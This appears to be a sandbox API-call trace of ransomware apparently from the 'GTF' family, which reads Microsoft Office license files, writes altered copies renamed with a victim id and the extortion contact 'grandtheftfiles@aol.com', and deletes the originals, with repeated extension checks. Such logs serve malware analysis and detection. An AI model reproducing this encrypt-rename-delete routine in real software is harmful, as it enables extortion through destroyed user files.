	[0174.825] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.826] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.826] lstrlenW (lpString="MondoR_KMS_Automation-ul-oob.xrm-ms") returned 35
	[0174.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0174.826] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11621) returned 1
	[0174.826] CloseHandle (hObject=0x528) returned 1
	[0174.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 0x220
	[0174.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0174.831] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.831] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.832] GetLastError () returned 0x0
	[0174.832] ReadFile (in: hFile=0x528, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0174.878] WriteFile (in: hFile=0x570, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0174.879] ReadFile (in: hFile=0x528, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.879] WriteFile (in: hFile=0x570, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11a, lpOverlapped=0x0) returned 1
	[0174.879] SetEndOfFile (hFile=0x570) returned 1
	[0174.879] CloseHandle (hObject=0x570) returned 1
	[0174.879] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.879] SetEndOfFile (hFile=0x528) returned 1
	[0174.882] CloseHandle (hObject=0x528) returned 1
	[0174.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 1
	[0174.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0174.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0174.888] lstrlenW (lpString=".doc") returned 4
	[0174.888] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.888] lstrlenW (lpString=".docx") returned 5
	[0174.888] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.888] lstrlenW (lpString=".pdf") returned 4
	[0174.888] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.888] lstrlenW (lpString=".xls") returned 4
	[0174.888] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.888] lstrlenW (lpString=".xlsx") returned 5
	[0174.888] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.888] lstrlenW (lpString=".ppt") returned 4
	[0174.888] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0174.888] lstrlenW (lpString=".zip") returned 4
	[0174.888] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.888] lstrlenW (lpString=".rar") returned 4
	[0174.888] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.888] lstrlenW (lpString=".bz2") returned 4
	[0174.888] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.889] lstrlenW (lpString=".7z") returned 3
	[0174.889] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0174.889] lstrlenW (lpString=".dbf") returned 4
	[0174.889] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0174.889] lstrlenW (lpString=".1cd") returned 4
	[0174.889] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0174.889] lstrlenW (lpString=".jpg") returned 4
	[0174.889] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0174.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0174.889] lstrlenW (lpString=".doc") returned 4
	[0174.889] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.889] lstrlenW (lpString=".docx") returned 5
	[0174.889] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.889] lstrlenW (lpString=".pdf") returned 4
	[0174.889] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.889] lstrlenW (lpString=".xls") returned 4
	[0174.889] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.889] lstrlenW (lpString=".xlsx") returned 5
	[0174.889] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.889] lstrlenW (lpString=".ppt") returned 4
	[0174.889] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0174.889] lstrlenW (lpString=".zip") returned 4
	[0174.889] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.889] lstrlenW (lpString=".rar") returned 4
	[0174.889] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.889] lstrlenW (lpString=".bz2") returned 4
	[0174.889] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.890] lstrlenW (lpString=".7z") returned 3
	[0174.890] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0174.890] lstrlenW (lpString=".dbf") returned 4
	[0174.890] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0174.890] lstrlenW (lpString=".1cd") returned 4
	[0174.890] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0174.890] lstrlenW (lpString=".jpg") returned 4
	[0174.890] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.890] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.890] lstrlenW (lpString="MondoR_OEM_Perp-pl.xrm-ms") returned 25
	[0174.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0174.891] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10635) returned 1
	[0174.891] CloseHandle (hObject=0x528) returned 1
	[0174.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 0x220
	[0174.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0174.892] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.892] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.892] GetLastError () returned 0x0
	[0174.892] ReadFile (in: hFile=0x528, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x298b, lpOverlapped=0x0) returned 1
	[0174.962] WriteFile (in: hFile=0x570, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2990, lpOverlapped=0x0) returned 1
	[0174.963] ReadFile (in: hFile=0x528, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.963] WriteFile (in: hFile=0x570, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x106, lpOverlapped=0x0) returned 1
	[0174.963] SetEndOfFile (hFile=0x570) returned 1
	[0174.964] CloseHandle (hObject=0x570) returned 1
	[0174.964] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.964] SetEndOfFile (hFile=0x528) returned 1
	[0174.976] CloseHandle (hObject=0x528) returned 1
	[0174.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 1
	[0175.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.087] lstrlenW (lpString=".doc") returned 4
	[0175.087] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.087] lstrlenW (lpString=".docx") returned 5
	[0175.087] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.087] lstrlenW (lpString=".pdf") returned 4
	[0175.087] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.087] lstrlenW (lpString=".xls") returned 4
	[0175.087] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.087] lstrlenW (lpString=".xlsx") returned 5
	[0175.087] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.087] lstrlenW (lpString=".ppt") returned 4
	[0175.087] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.087] lstrlenW (lpString=".zip") returned 4
	[0175.087] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.087] lstrlenW (lpString=".rar") returned 4
	[0175.087] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.087] lstrlenW (lpString=".bz2") returned 4
	[0175.087] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.087] lstrlenW (lpString=".7z") returned 3
	[0175.087] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.087] lstrlenW (lpString=".dbf") returned 4
	[0175.087] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.088] lstrlenW (lpString=".1cd") returned 4
	[0175.088] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.088] lstrlenW (lpString=".jpg") returned 4
	[0175.088] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.088] lstrlenW (lpString=".doc") returned 4
	[0175.088] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.088] lstrlenW (lpString=".docx") returned 5
	[0175.088] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.088] lstrlenW (lpString=".pdf") returned 4
	[0175.088] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.088] lstrlenW (lpString=".xls") returned 4
	[0175.088] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.088] lstrlenW (lpString=".xlsx") returned 5
	[0175.088] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.088] lstrlenW (lpString=".ppt") returned 4
	[0175.088] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.088] lstrlenW (lpString=".zip") returned 4
	[0175.088] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.088] lstrlenW (lpString=".rar") returned 4
	[0175.088] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.088] lstrlenW (lpString=".bz2") returned 4
	[0175.088] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.088] lstrlenW (lpString=".7z") returned 3
	[0175.088] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.088] lstrlenW (lpString=".dbf") returned 4
	[0175.089] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.089] lstrlenW (lpString=".1cd") returned 4
	[0175.089] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.089] lstrlenW (lpString=".jpg") returned 4
	[0175.089] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.089] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.089] lstrlenW (lpString="MondoR_OEM_Perp-ul-phn.xrm-ms") returned 29
	[0175.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0175.090] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19927) returned 1
	[0175.090] CloseHandle (hObject=0x568) returned 1
	[0175.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0175.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0175.090] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.090] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0175.091] GetLastError () returned 0x0
	[0175.091] ReadFile (in: hFile=0x568, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x4dd7, lpOverlapped=0x0) returned 1
	[0175.204] WriteFile (in: hFile=0x530, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0175.206] ReadFile (in: hFile=0x568, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.206] WriteFile (in: hFile=0x530, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0175.206] SetEndOfFile (hFile=0x530) returned 1
	[0175.211] CloseHandle (hObject=0x530) returned 1
	[0175.216] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.216] SetEndOfFile (hFile=0x568) returned 1
	[0175.337] CloseHandle (hObject=0x568) returned 1
	[0175.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 1
	[0175.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0175.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0175.583] lstrlenW (lpString=".doc") returned 4
	[0175.583] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.583] lstrlenW (lpString=".docx") returned 5
	[0175.583] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.583] lstrlenW (lpString=".pdf") returned 4
	[0175.583] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.583] lstrlenW (lpString=".xls") returned 4
	[0175.583] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.583] lstrlenW (lpString=".xlsx") returned 5
	[0175.583] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.583] lstrlenW (lpString=".ppt") returned 4
	[0175.583] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0175.584] lstrlenW (lpString=".zip") returned 4
	[0175.584] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.584] lstrlenW (lpString=".rar") returned 4
	[0175.584] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.584] lstrlenW (lpString=".bz2") returned 4
	[0175.584] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.584] lstrlenW (lpString=".7z") returned 3
	[0175.584] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0175.584] lstrlenW (lpString=".dbf") returned 4
	[0175.584] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0175.584] lstrlenW (lpString=".1cd") returned 4
	[0175.584] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0175.584] lstrlenW (lpString=".jpg") returned 4
	[0175.584] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0175.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0175.584] lstrlenW (lpString=".doc") returned 4
	[0175.584] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.584] lstrlenW (lpString=".docx") returned 5
	[0175.584] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.584] lstrlenW (lpString=".pdf") returned 4
	[0175.584] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.584] lstrlenW (lpString=".xls") returned 4
	[0175.584] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.584] lstrlenW (lpString=".xlsx") returned 5
	[0175.584] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.584] lstrlenW (lpString=".ppt") returned 4
	[0175.584] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
